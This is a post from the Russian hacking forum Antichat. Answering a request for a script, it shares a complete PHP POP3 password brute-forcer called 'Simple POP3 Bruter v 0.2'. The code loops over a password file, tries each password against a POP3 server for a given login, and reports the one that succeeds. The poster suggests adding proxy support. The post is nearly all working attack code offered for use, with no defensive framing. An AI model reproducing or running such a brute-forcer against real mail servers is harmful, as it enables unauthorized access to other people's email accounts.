Форум АНТИЧАТ - Показать сообщение отдельно - Нужен скрипт на пхп иле перл.

вот елементарный пример.. мона прикрутить поддержку проксей и тд..

PHP код:


		
			
<?

/*



Simple POP3 Bruter v 0.2



30/05/05 (с) drmist



*/



$port=110;

$host='127.0.0.1';

$login='user';

$passwords="passwords.txt";



set_time_limit(0);



$FID=fopen($passwords,"r");



while(!feof($FID))

{

 $pass=str_replace("\r","",fgets($FID));

 $pass=str_replace("\n","",$pass);

 

 echo "$pass<br>\r\n";

 flush();

 

 $s=fsockopen($host, $port);

 

 if(!$s)

    die("Не могу соединиться <b>[$host:$port]</b>!");

 

 $line=fread($s, 256);



  if(!ereg("\+OK(.*)",$line)) 

    die("Хрень какая-то. Ты точно на pop сервер коннектишься?");



 fputs($s,"USER $login\r\n");



 $line=fread($s, 256);

 

 if(ereg("-ERR(.*)",$line))

   die("Неверный логин <b>$login</b>!");



 fputs($s,"PASS $pass\r\n");

 

 $line=fread($s, 256);



 if(!ereg("-ERR(.*)",$line))

   die("Пароль найден: <b>$pass</b>!");



 fclose($s);

}



echo "Работа завершина. Пароль не найден =((";



?>

взято отсюда
_http://www.security-teams.net/board/index.php?act=ST&f=15&t=1063
(с) drmist